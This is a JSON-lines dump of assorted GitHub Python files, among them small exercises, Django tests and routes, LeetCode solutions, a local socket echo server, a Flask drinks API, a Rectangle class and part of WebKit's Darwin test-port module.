print(f' {num1} * {num2} * {num3} = {num1 * num2 * num3}')\n elif op1 == '/' and op2 == '+':\n print(f' ({num1} / {num2}) + {num3} = {(num1 / num2) + num3}')\n else:\n print(\"Invalid Operation\")\n cont = input(\"Press: Enter to Continue or type: 'Exit' to finish\")\n if cont.lower() == 'exit':\n print(\"\\nRequested Exit Operation\")\n break\n\n","repo_name":"johnkommas/demo","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2720612770","text":"while True:\r\n try:\r\n v = float(input())\r\n d = float(input())\r\n r = d/2\r\n area = 3.14*(r*r)\r\n height = v / area\r\n print(\"ALTURA = {:.2f}\".format(height))\r\n print(\"AREA = {:.2f}\".format(area))\r\n except EOFError:\r\n break","repo_name":"ShawonBarman/URI-Online-Judge-Beginner-level-problem-solution-in-python","sub_path":"2029_Honey-Reservoir.py","file_name":"2029_Honey-Reservoir.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"13072483356","text":"\n\nimport shelve\n\ndata = (2021, '4444', ((7, 'wow'), [4, 5]))\nlst = [1, 251221, 30000] # > 256\n\n# By default, the underlying database\n# file is opened for reading and writing\nwith shelve.open('data.shelve') as shelf:\n # Think like a dictionary. Key/value\n shelf['data'] = data\n shelf['lst'] = lst\n #Use strings as keys\n #shelf[10] = 20 # 'int' object has no attribute 'encode'","repo_name":"vZyx/Python-notes","sub_path":"22_files/code/04_shelve/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38036880407","text":"from .test_recipe_base import RecipeTestBase, models\nfrom django.core.exceptions import ValidationError\nfrom parameterized import parameterized\n\n\nclass RecipeModelTest(RecipeTestBase):\n \"\"\"\n In the test_recipe_base.py base file I created the setUp method\n that creates a Recipe object that can be used in all classes that\n inherit from RecipeTestBase class, but there we have different values\n from the default, for example: the field is_published is False by default,\n but there i defined this field as True, for one side it's useful but for\n other side, this can't be useful, so below i create here a method that can\n creates a Recipe object with values by default defined in the model.\n \"\"\"\n\n def make_recipe_by_defaults(self):\n return models.Recipe.objects.create(\n title=\"Default Recipe\",\n description=\"It's a default recipe...\",\n preparation_time=1,\n preparation_time_unit=\"seconds\",\n servings=1,\n servings_unit=\"Or infinites tests!\",\n preparation_steps=\"Call me and i'm will be created!\",\n category=self.make_category(name=\"Default test category\"),\n author=self.make_author(username=\"Admin\"),\n )\n \"\"\"\n The next two functions (tests) will test the validation of the `max_length`\n parameter. The first one, just below, manually tests only one attribute,\n while the second below tests multiple attributes using the external\n library \"parameterized.\" This library takes tuples containing the fields\n and arguments passed to the parameters of each field, consequently\n generating a more automated code instead of repetitive code. Additionally,\n it separates each field as different tests, which will allow me to find\n errors specific to the particular field instead of returning a single\n error where I wouldn't know exactly where the error occurred!\n \"\"\"\n\n def test_recipe_title_raises_error_if_title_has_more_than_65_chars(self):\n self.recipe.title = \"A\" * 70\n with self.assertRaises(ValidationError):\n self.recipe.full_clean()\n\n @parameterized.expand([\n ('title', 65),\n ('description', 165),\n ('preparation_time_unit', 65),\n ('servings_unit', 65),\n ])\n def test_recipe_fields_max_length(self, field, max_length):\n setattr(self.recipe, field, 'A' * (max_length + 1))\n with self.assertRaises(ValidationError):\n self.recipe.full_clean()\n\n def test_preparation_steps_is_html_field_is_false_by_default(self):\n recipe = self.make_recipe_by_defaults()\n self.assertFalse(recipe.preparation_steps_is_html,\n msg=\"This field is not False\")\n\n def test_is_published_field_is_false_by_default(self):\n recipe = self.make_recipe_by_defaults()\n self.assertFalse(recipe.is_published,\n msg=\"This field is not False\")\n\n def test_recipe_string_representation(self):\n recipe = self.make_recipe_by_defaults()\n needed = recipe.title\n self.assertEqual(str(recipe), needed,\n msg=f\"Recipe string representation must be '{needed}'\") # noqa\n\n def test_category_string_representation(self):\n category = self.make_category(name=\"Default\")\n needed = category.name\n self.assertEqual(str(category), needed,\n msg=f\"Recipe string representation must be '{needed}'\") # noqa\n\n def test_slug_is_generated(self):\n recipe = self.make_recipe(title=\"title slug\")\n self.assertIsNotNone(recipe.slug)\n self.assertEqual(recipe.slug, \"title-slug\")\n\n def test_unique_slug_generation(self):\n recipe1 = self.make_recipe(title=\"Like this\")\n recipe2 = self.make_recipe(title=\"Like this\")\n self.assertNotEqual(recipe1.slug, recipe2.slug)\n\n def test_unique_slug_generation_on_save(self):\n # Creating a new recipe with the same slug of self.recipe\n recipe2 = self.make_recipe(\n title=\"Another Recipe\", slug=\"test-recipe\")\n \"\"\"\n The object self.recipe setted in setUp(self) method creates a\n recipe with the standart slug \"test-recipe\". self.recipe\n is the firt object to be created in the test that inherit\n from RecipeTestBase, so the slug \"test-recipe\" will be his.\n \"\"\"\n # Verify if the slug is updated to unique value.\n recipe2.save()\n # Verify if the slug was updated\n self.assertNotEqual(recipe2.slug, self.recipe.slug)\n\n def test_slug_generation_when_not_have_slug(self):\n \"\"\"\n If we try to create an object with the attr slug equal\n to None, the method save() from models execute a logic\n that control the None value recieved. First, he try to\n generate a slug based in the title, it means that he\n 'try to slug the title' with the function slugify(),\n but if this slug alredy exists, he try to generate an\n unique slug adding a number in the end of the 'slugged\n title'. For more information see the models.py.\n \"\"\"\n recipe1 = self.make_recipe(slug=None)\n recipe1.save()\n self.assertTrue(recipe1.slug is not None)\n","repo_name":"dev-davisouza/Recipes-WebSite-in-progress-","sub_path":"recipes/tests/test_recipe_models.py","file_name":"test_recipe_models.py","file_ext":"py","file_size_in_byte":5258,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"5745055091","text":"import queue\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n \n def __str__(self):\n data = []\n q = queue.Queue()\n q.put(self)\n while q.empty() is not True:\n node = q.get()\n if node is not None:\n q.put(node.left)\n q.put(node.right)\n data.append(node.val)\n else:\n data.append(node)\n return str(data)\n\n\nclass Solution:\n def sortedArrayToBST(self, nums):\n if nums is not None:\n if len(nums) == 1:\n return TreeNode(nums[0])\n \n middle,left, right = self.split(nums)\n \n return TreeNode(middle, self.sortedArrayToBST(left), self.sortedArrayToBST(right))\n return\n\n \n def split(self, nums):\n if len(nums) == 0:\n return None, None, None\n middle = len(nums)//2 \n left, right, middle = nums[:middle] , nums[middle+1:], nums[middle]\n return middle, left if len(left) > 0 else None, right if len(right) > 0 else None\n\n\nif __name__ == '__main__':\n s = Solution()\n tree = s.sortedArrayToBST([-10,-3,0,5,9])\n print(tree)\n","repo_name":"Aryanamish/daily_practice","sub_path":"leetcode/108.convert_sorted_array_to_binary_search_tree.py","file_name":"108.convert_sorted_array_to_binary_search_tree.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5217417135","text":"\n# https://leetcode.cn/problems/number-of-operations-to-make-network-connected/\nclass UF:\n def __init__(self, n):\n self.count = n\n self.size = [1 for i in range(n)]\n self.parent = [i for i in range(n)]\n \n def union(self, p, q):\n rootp = self.find(p)\n rootq = self.find(q)\n if rootp == rootq:\n return\n if self.size[rootp] < self.size[rootq]:\n self.parent[rootp] = rootq\n self.size[rootq] += self.size[rootp]\n else:\n self.parent[rootq] = rootp\n self.size[rootp] += self.size[rootq]\n self.count -= 1\n \n\n def find(self, x):\n while self.parent[x] != x:\n self.parent[x] = self.parent[self.parent[x]]\n x = self.parent[x]\n return x\n\n def connected(self, p, q):\n rootp = self.find(p)\n rootq = self.find(q)\n if rootp == rootq:\n return True\n else:\n return False\n\nclass Solution:\n def makeConnected(self, n: int, connections: List[List[int]]) -> int:\n uf = UF(n)\n quota = 0\n ops = 0\n for conn in connections:\n p, q = conn[0], conn[1]\n if uf.connected(p, q):\n quota += 1\n else:\n uf.union(p, q)\n # print(quota)\n # print(uf.count)\n ops = uf.count - 1\n return -1 if ops>quota else ops\n","repo_name":"zzb66666666x/Leetcode-Python","sub_path":"CN/1319. 连通网络的操作次数/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24099568001","text":"from django.urls import path\nfrom . import views\n\n\napp_name = \"user\"\nurlpatterns = [\n path('login/', views.login, name='login'),\n path('logout/', views.logout, name='logout'),\n path('lockscreen/', views.lockscreen, name='lockscreen'),\n path('users/', views.users, name='users'),\n path('groups/', views.groups, name='groups'),\n path('logs/', views.logs, name='logs'),\n path('profile/', views.profile, name='profile'),\n path('profile/edit/', views.profile_edit, name='profile_edit'),\n path('user//', views.user, name='user'),\n path('user//edit/', views.user_edit, name='user_edit'),\n path('user/add/', views.user_add, name='user_add'),\n \n path('group//', views.group, name='group'),\n path('group//edit/', views.group_edit, name='group_edit'),\n path('group/add/', views.group_add, name='group_add'),\n \n]\n","repo_name":"leffss/devops","sub_path":"apps/user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":342,"dataset":"github-code","pt":"3"} +{"seq_id":"14170178295","text":"import socket \n\nHOST = '127.0.0.1'\nPORT = 65530\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n\tsock.bind((HOST, PORT))\n\tsock.listen()\n\tconn, addr = sock.accept()\n\twith conn:\n\t\tprint('we are connected with', addr)\n\t\twhile True:\n\t\t\td = conn.recv(2048)\n\t\t\tif not d:\n\t\t\t\tbreak\n\t\t\tconn.sendall(d)\n","repo_name":"SuleymanSuleymanzade/network_programming_2020","sub_path":"first_chapter/server_example.py","file_name":"server_example.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"16443854904","text":"from collections import deque\r\n \r\n\r\ndef person_is_seller(name):\r\n if name[-1] == 'y':\r\n return True\r\n else:\r\n return False\r\n\r\ndef search(name):\r\n search = deque()\r\n search += graph[name]\r\n searched = []\r\n while search:\r\n person = search.popleft()\r\n if person not in searched:\r\n if person_is_seller(person):\r\n print(person + \" is mango seller\")\r\n print(search)\r\n return True\r\n else:\r\n print(search)\r\n search += graph[person]\r\n searched.append(person)\r\n return False\r\n\r\ngraph = {}\r\ngraph[\"You\"] = [\"Alice\", \"Claire\", \"Bob\"]\r\ngraph[\"Alice\"] = [\"Peggy\"]\r\ngraph[\"Claire\"] = [\"Tom\", \"John\"]\r\ngraph[\"Bob\"] = [\"Anuj\", \"Peggy\"]\r\n\r\n\r\nsearch(\"You\") \r\n","repo_name":"loverdom/Python","sub_path":"algorithms/width_search.py","file_name":"width_search.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19503651892","text":"# This file is for displaying the set of the Mahjon tiles which the users have!\nTILES_NUMBER = 17\nADDIT_NUMBER = 8\ndef display_board(arr, addition):\n \"\"\" This function is directly draw the board.\n\n Args:\n arr ([string]): An array that the user has.\n \"\"\"\n # Firstly, we want to check if the passing arrays are in correct numbers. \n if len(arr) != TILES_NUMBER or len(addition) > ADDIT_NUMBER:\n print(\"FALSE INPUT\")\n return \n\n # Print the additional tiles first\n print(\"----- \" * len(addition))\n upp_string = \"\"\n low_string = \"\"\n for i in range(len(addition)):\n upp_string += \"| \" + addition[i][0] + \" | \"\n low_string += \"| | \"\n print(upp_string)\n print(low_string)\n print(\"----- \" * len(addition))\n\n # Print the actual set of tiles\n print(\"----- \" * TILES_NUMBER)\n upp_string = \"\"\n low_string = \"\"\n for i in range(len(arr)):\n upp_string += \"| \" + arr[i][0] + \" | \"\n low_string += \"| \" + arr[i][1] + \" | \"\n print(upp_string)\n print(low_string)\n print(\"----- \" * TILES_NUMBER)","repo_name":"wesley-hsieh-cal/Mahjon-Win-Score","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"120816618","text":"import os\nimport glob\nimport pathlib\nimport re\nimport sys\nimport argparse\nfrom robot.api import TestData\n\nparser = argparse.ArgumentParser(description='create jira import file')\n#parser.add_argument('--version_from_load', action='store_true')\nparser.add_argument('--result', default='Automated test passes', help='what to put in result field of test step. default is \\'Automated test passes\\'')\nparser.add_argument('--components',required=True, help='comma seperated list of components. example: Automated,Controller,Operator')\nparser.add_argument('--versions',required=True, help='comma seperated list of versions. example: Nimbus')\nparser.add_argument('--outfile',required=False, default='tc_import.csv', help='csv outfile to write to. default is tc_import.csv')\nparser.add_argument('--filepattern',required=False, default='test_*.py', help='file match pattern for testcase parsing. default is test_*.py')\n\nargs = parser.parse_args()\n\n#outfile = 'tc_import.csv'\n#result = 'Automated test passes'\n#components = 'Automated,Controller,Flavor'\n#versions = 'Nimbus'\n\noutfile = args.outfile\nresult = args.result\ncomponents = args.components\nversions = args.versions\ntcfile = args.filepattern\n\n#tcfile = 'test_*.py'\n#if len(sys.argv) == 2:\n# tcfile = sys.argv[1]\n\ndef get_file_list():\n file_list = []\n l = glob.glob(tcfile)\n #print(l)\n for f in l:\n ff = pathlib.Path(f).resolve()\n file_list.append(str(ff))\n\n file_list.sort()\n return file_list\n\ndef get_tc_name(l):\n tc_hash = {}\n \n tc_list = []\n #l = os.listdir('.')\n #print(l)\n #l = os.walk('.')\n #print(l)\n #l = glob.glob('test_*.py')\n #print(l)\n for f in l:\n #ff = pathlib.Path(f).resolve()\n print(f)\n #dl = str(ff).split('/testcases/')[1].split('/')\n dl = f.split('/testcases/')[1].split('/')\n #print(dl)\n #tc = ''\n #for d in dl:\n # if '.py' in d:\n # d = d.split('.py')[0] + '.tc'\n # tc += d + '.'\n #print(tc)\n #match1 = 'def test_.+'\n #match2 = '#\\s+\\[Documentation].*'\n #match3 = '#\\s+\\.\\.\\..+'\n with open(f, 'r') as tcf:\n print('fffff',f)\n if f.endswith('.robot'):\n suite = TestData(source=f)\n for test in suite.testcase_table:\n print('-', test.name)\n print(test.doc)\n s = str(test.doc)\n print('sss',s)\n comments = s.split('\\\\n')\n print(comments[0])\n desc = ''\n #for line in comments[1:]:\n for line in comments:\n desc += line + '\\n'\n desc = desc.rstrip()\n\n #tc_hash['\"' + dl[-1] + '\\n' + test.name + '\"'] = {'title': '\"' + comments[0] + '\"', 'desc': desc}\n tc_hash['\"' + dl[-1] + '\\n' + test.name + '\"'] = {'title': '\"' + test.name + '\"', 'desc': desc}\n print(tc_hash)\n print(suite)\n #sys.exit(1)\n elif f.endswith('.py'):\n dl = f.split('/testcases/')[1].split('/')\n print(dl)\n tc = ''\n for d in dl:\n if '.py' in d:\n d = d.split('.py')[0] + '.tc'\n tc += d + '.'\n #print(tc)\n match1 = 'def test_.+'\n match2 = '#\\s+\\[Documentation].*'\n match3 = '#\\s+\\.\\.\\..+'\n\n t = tcf.read()\n d = re.compile('({}|{}|{})'.format(match1, match2, match3)).findall(t)\n print('d',d)\n sys.exit(1)\n description = ''\n title = ''\n current_tc = ''\n for line in d:\n print('l',line)\n if 'def test' in line:\n test = line[4:].split('(')[0]\n tc_hash[tc+test] = {'title':'', 'desc':''}\n description = ''\n current_tc = tc+test\n #print(current_tc)\n elif '[Documentation]' in line:\n tc_hash[current_tc]['title'] = '\"' + line.split('[Documentation]')[1].strip() + '\"'\n print('title',tc_hash[current_tc]['title'])\n else:\n description += line.split('...')[1].strip() + '\\n'\n tc_hash[current_tc]['desc'] = description\n else:\n print('only support python(unittest format) and robot')\n #print(d)\n #print('title',title,'desc',description)\n #tc_hash[tc + test] = {'title': title, 'desc': description}\n \n #m = re.findall('def test_.+', t)\n #for t2 in m:\n # test = t2[4:].split('(')[0]\n # print('t',test)\n # tc_list.append(tc + test)\n # #d = re.findall('#\\s+\\[Documentation].* | #\\s+\\.\\.\\..+', t)\n # #print(d)\n # #sys.exit(1)\n # #d = re.findall('(#\\s+\\[Documentation].*) | (#\\s+\\.\\.\\..+)', t, re.DEBUG)\n # d = re.compile('({}|{})'.format(match1, match2)).findall(t)\n # print(d)\n # description = ''\n # title = ''\n # for line in d:\n # #print('l',line)\n # if '[Documentation]' in line:\n # title = line.split('[Documentation]')[1].strip()\n # #print('title',title)\n # else:\n # description += line.split('...')[1].strip() + '\\n'\n # #print(d)\n # #print('title',title,'desc',description)\n # tc_hash[tc + test] = {'title': title, 'desc': description}\n # #tc_hash['title'] = title\n # #tc_hash['desc'] = description\n # #tc_list.append(tc_hash)\n return tc_hash\n\nfile_list = get_file_list()\ntc_list = get_tc_name(file_list)\n\n\nexternal_id = ''\ntest_data = ''\nwith open(outfile,'w') as f:\n f.write('Name,STEPS,Result,Testdata,ExternalId,Versions,Components,Description\\n')\n for t in tc_list:\n print(t)\n print(t, tc_list[t]['title'], tc_list[t]['desc'])\n f.write('{},{},{},{},{},\"{}\",\"{}\",\"{}\"\\n'.format(tc_list[t]['title'], t, result, test_data, external_id, versions, components, tc_list[t]['desc']))\n","repo_name":"mobiledgex/edge-cloud-qa","sub_path":"tools/create_tc_import_csv.py","file_name":"create_tc_import_csv.py","file_ext":"py","file_size_in_byte":6531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2379200732","text":"import itertools\n\nimport numpy as np\nfrom sklearn.metrics.pairwise import pairwise_distances\n\ndef getSentenceVectors(model, fileIndex, articleIndex):\n sentenceVectors = [model.docvecs['SENT_{}_{}_0_0'.format(fileIndex,articleIndex)]]\n pairVectors = [model.docvecs['SENT_{}_{}_1_1'.format(fileIndex,articleIndex)]]\n for s in itertools.count(2):\n if 'SENT_{}_{}_{}_1'.format(fileIndex,articleIndex,s) not in model.docvecs:\n break\n sentenceVectors.append(model.docvecs['SENT_{}_{}_{}_0'.format(fileIndex,articleIndex,s)])\n pairVectors.append(model.docvecs['SENT_{}_{}_{}_1'.format(fileIndex,articleIndex,s)])\n sentenceVectors.append(model.docvecs['SENT_{}_{}_{}_0'.format(fileIndex,articleIndex,s)])\n\n return sentenceVectors + pairVectors\n\ndef getSimMatrix(v1, v2):\n return 1-pairwise_distances(np.asarray(v1),\n np.asarray(v2),\n metric='cosine',\n n_jobs=12)\n\ndef getMatching(set1, set2, s, k=10):\n sa = np.argsort(s, axis=None)\n #ss = np.sort(s, axis=None)\n pairs = list(zip(sa[-k:]/s.shape[1], sa[-k:]%s.shape[1]))[::-1]\n eset1 = set1 + list(map(' '.join, zip(set1, set1[1:])))\n eset2 = set2 + list(map(' '.join, zip(set2, set2[1:])))\n return [(eset1[i1],eset2[i2],s[i1][i2]) for i1,i2 in pairs]\n\ndef getParallelArticles(title, discourse=None, source=None):\n assert(source is not None)\n corpora = []\n for i in range(len(source.filenames)):\n j = source.articles[i].index(title)\n sentences = source.getArticle(i, j)\n #sentences += list(map(' '.join, zip(sentences, sentences[1:])))\n corpora.append(sentences)\n return corpora\n\ndef getSimilarityScores(title, model, source):\n m = []\n for i in range(len(source.filenames)):\n j = source.getArticleIndex(i, title)\n m.append(getSentenceVectors(model, i, j))\n return getSimMatrix(m[0], m[1])\n","repo_name":"chridey/corpustools","sub_path":"corpustools/x2vec/wikipediaPairs.py","file_name":"wikipediaPairs.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39306686838","text":"#!/usr/bin/python3\n\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\n# SPDX-License-Identifier: GPL-3.0-or-later\n\nimport bz2\nimport bs4\nimport html\nimport sys\nimport argparse\nfrom brillcode import *\n\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument(\"file\")\nargs = parser.parse_args()\n\ntry:\n\tf = bz2.open(args.file,mode=\"rb\")\n\tf.peek(0)\nexcept:\n\tf = open(args.file,mode=\"rb\")\nfinally:\n\tsoup = bs4.BeautifulSoup(f.read().decode(\"raw_unicode_escape\"), \"html.parser\")\n\tf.close()\n\n#for tag in soup.findAll(\"form\"):\n#\ttag.name = \"span\"\n\nfor tag in soup.findAll(class_=[\"Ba02\", \"Ba02SC\", \"mainentry\"], string=True):\n\ttag.string = brilldecode(tag.string)\n\nfor tag in soup.findAll(class_=\"contributor\", string=True):\n\ttag.string = html.unescape(tag.string)\n\ntitle = soup.find(\"meta\", attrs={\"name\": \"blob\"})['content']\nfor specialchar in specialchars.keys():\n\ttitle = title.replace(specialchar, specialchars[specialchar])\ntitle = bs4.BeautifulSoup(title, \"html.parser\")\n\nfor tag in title.findAll(class_=[\"Ba02\", \"Ba02SC\", \"mainentry\"], string=True):\n\ttag.string = brilldecode(tag.string)\nsoup.find(\"title\").string = title.text\n\nprint(soup)\n","repo_name":"Moarc/brilldecode","sub_path":"brill2uni.py","file_name":"brill2uni.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69952442962","text":"from flask import Flask, request, jsonify, render_template\nfrom flask_sqlalchemy import SQLAlchemy\nimport decimal\nimport flask.json\nfrom flask_cors import CORS\nimport os\n\napp = Flask(__name__) \nCORS(app) \n\napp.config.from_object(os.environ['APP_SETTINGS'])\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\nclass MyJSONEncoder(flask.json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, decimal.Decimal):\n return str(obj)\n return super(MyJSONEncoder, self).default(obj)\n\nfrom models import Drink \n\n@app.route(\"/api/getall\", methods=['GET'])\ndef get_all():\n try:\n drinks=Drink.query.all()\n print([e.serialize() for e in drinks])\n return jsonify([e.serialize() for e in drinks])\n except Exception as e:\n return(str(e))\n\n@app.route(\"/api/drinks\", methods=['POST'])\ndef add_drink():\n if request.method == 'POST':\n print(request.json)\n date=request.json['date']\n btype=request.json['btype']\n name=request.json['name']\n place=request.json['place']\n try:\n drink=Drink(\n date=date,\n btype=btype,\n name=name,\n place=place\n )\n print(date)\n db.session.add(drink)\n db.session.commit()\n return \"Drink added. Drink id={}\".format(drink.id)\n except Exception as e:\n return(str(e))\n \n\n@app.route(\"/api/drinks/\", methods=[\"GET\"])\ndef get_by_id(id_):\n try:\n drink=Drink.query.filter_by(id=id_).first()\n return jsonify(drink.serialize())\n except Exception as e:\n return(str(e))\n\n@app.route(\"/add/form\",methods=['GET', 'POST'])\ndef add_new_drink():\n if request.method == 'POST':\n date=request.form.get('date')\n btype=request.form.get('btype')\n name=request.form.get('name')\n try:\n drink=Drink(\n date=date,\n btype=btype,\n name=name,\n )\n db.session.add(drink)\n db.session.commit()\n return \"Drink added. Drink id={}\".format(drink.id)\n except Exception as e:\n return(str(e))\n return render_template(\"getData.html\")\n \n\n\n\n\nif __name__ == \"__main__\": \n app.run() \n","repo_name":"Oloinen/drink-server","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71185720722","text":"#!/usr/bin/python3\n\"\"\" Module rectangle \"\"\"\nfrom models.base import Base\n\n\nclass Rectangle(Base):\n \"\"\"Represents a subclass of Base \"\"\"\n def __init__(self, width, height, x=0, y=0, id=None):\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n super().__init__(id)\n\n @property\n def width(self):\n \"\"\" Getter of width.\"\"\"\n return self.__width\n\n @property\n def height(self):\n \"\"\" Getter of height.\"\"\"\n return self.__height\n\n @property\n def x(self):\n \"\"\" Getter of x.\"\"\"\n return self.__x\n\n @property\n def y(self):\n \"\"\" Getter of y.\"\"\"\n return self.__y\n\n @width.setter\n def width(self, value):\n \"\"\" Setter of width \"\"\"\n if type(value) is not int:\n raise TypeError(\"width must be an integer\")\n if value <= 0:\n raise ValueError(\"width must be > 0\")\n self.__width = value\n\n @height.setter\n def height(self, value):\n \"\"\" Setter of height\"\"\"\n if type(value) is not int:\n raise TypeError(\"height must be an integer\")\n if value <= 0:\n raise ValueError(\"height must be > 0\")\n self.__height = value\n\n @x.setter\n def x(self, value):\n \"\"\" Setter of x\"\"\"\n if type(value) is not int:\n raise TypeError(\"x must be an integer\")\n if value < 0:\n raise ValueError(\"x must be >= 0\")\n self.__x = value\n\n @y.setter\n def y(self, value):\n \"\"\" Setter of y\"\"\"\n if type(value) is not int:\n raise TypeError(\"y must be an integer\")\n if value < 0:\n raise ValueError(\"y must be >= 0\")\n self.__y = value\n\n def area(self):\n \"\"\" Returns the area value of the Rectangle instance \"\"\"\n return self.__height * self.__width\n\n def display(self):\n \"\"\"Prints in stdout the Rectangle instance with # \"\"\"\n for k in range(self.y):\n print()\n for i in range(self.height):\n for n in range(self.x):\n print(\" \", end=\"\")\n for j in range(self.width):\n print(\"#\", end='')\n print()\n\n def __str__(self):\n \"\"\"Overridding __str__ method \"\"\"\n w = self.width\n h = self.height\n return (f\"[Rectangle] ({self.id}) {self.x}/{self.y} - {w}/{h}\")\n\n def update(self, *args, **kwargs):\n \"\"\"assigns an argument to each attribute\"\"\"\n for arg, attr in enumerate(args):\n if arg == 0:\n self.id = attr\n if arg == 1:\n self.width = attr\n if arg == 2:\n self.height = attr\n if arg == 3:\n self.x = attr\n if arg == 4:\n self.y = attr\n\n if not args:\n for key, value in kwargs.items():\n if 'id' in kwargs:\n self.id = kwargs[\"id\"]\n if 'width' in kwargs:\n self.width = kwargs[\"width\"]\n if 'height' in kwargs:\n self.height = kwargs[\"height\"]\n if 'x' in kwargs:\n self.x = kwargs[\"x\"]\n if 'y' in kwargs:\n self.y = kwargs[\"y\"]\n\n def to_dictionary(self):\n \"\"\" Returns the dictionary representation of a Rectangle \"\"\"\n d = {}\n d[\"id\"] = self.id\n d[\"width\"] = self.width\n d[\"height\"] = self.height\n d[\"x\"] = self.x\n d[\"y\"] = self.y\n\n return d\n","repo_name":"chiaracaprasi/holbertonschool-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11346611556","text":"import logging\nimport os\nimport re\nimport time\n\nfrom webkitpy.common.memoized import memoized\nfrom webkitpy.common.system.crashlogs import CrashLogs\nfrom webkitpy.common.system.executive import ScriptError\nfrom webkitpy.port.apple import ApplePort\nfrom webkitpy.port.leakdetector import LeakDetector\n\nfrom webkitcorepy import decorators\n\n\n_log = logging.getLogger(__name__)\n\n\nclass DarwinPort(ApplePort):\n\n CURRENT_VERSION = None\n SDK = None\n\n API_TEST_BINARY_NAMES = ['TestWTF', 'TestWebKitAPI', 'TestIPC', 'TestWGSL']\n\n def __init__(self, host, port_name, **kwargs):\n ApplePort.__init__(self, host, port_name, **kwargs)\n\n self._leak_detector = LeakDetector(self)\n if self.get_option(\"leaks\"):\n # DumpRenderTree slows down noticably if we run more than about 1000 tests in a batch\n # with MallocStackLogging enabled.\n self.set_option_default(\"batch_size\", 1000)\n\n def default_timeout_ms(self):\n if self.get_option('guard_malloc'):\n return 350 * 1000\n return super(DarwinPort, self).default_timeout_ms()\n\n def _port_specific_expectations_files(self, device_type=None):\n return list(reversed([self._filesystem.join(self._webkit_baseline_path(p), 'TestExpectations') for p in self.baseline_search_path(device_type=device_type)]))\n\n def check_for_leaks(self, process_name, process_id):\n if not self.get_option('leaks'):\n return\n\n # We could use http://code.google.com/p/psutil/ to get the process_name from the pid.\n self._leak_detector.check_for_leaks(process_name, process_id)\n\n def print_leaks_summary(self):\n if not self.get_option('leaks'):\n return\n # We're in the manager process, so the leak detector will not have a valid list of leak files.\n # FIXME: This is a hack, but we don't have a better way to get this information from the workers yet.\n # FIXME: This will include too many leaks in subsequent runs until the results directory is cleared!\n leaks_files = self._leak_detector.leaks_files_in_directory(self.results_directory())\n if not leaks_files:\n return\n total_bytes_string, unique_leaks = self._leak_detector.count_total_bytes_and_unique_leaks(leaks_files)\n total_leaks = self._leak_detector.count_total_leaks(leaks_files)\n _log.info(\"%s total leaks found for a total of %s.\" % (total_leaks, total_bytes_string))\n _log.info(\"%s unique leaks found.\" % unique_leaks)\n\n def _path_to_webcore_library(self):\n return self._build_path('WebCore.framework/Versions/A/WebCore')\n\n def show_results_html_file(self, results_filename):\n # We don't use self._run_script() because we don't want to wait for the script\n # to exit and we want the output to show up on stdout in case there are errors\n # launching the browser.\n with open(os.devnull) as devnull:\n self._executive.popen([self.path_to_script('run-safari')] + self._arguments_for_configuration() + ['--no-saved-state', '-NSOpen', results_filename],\n cwd=self.webkit_base(), stdout=devnull, stderr=devnull)\n\n @memoized\n def path_to_crash_logs(self):\n log_directory = self.host.filesystem.expanduser('~')\n log_directory = self.host.filesystem.join(log_directory, 'Library', 'Logs')\n diagnositc_reports_directory = self.host.filesystem.join(log_directory, 'DiagnosticReports')\n if self.host.filesystem.exists(diagnositc_reports_directory):\n return diagnositc_reports_directory\n return 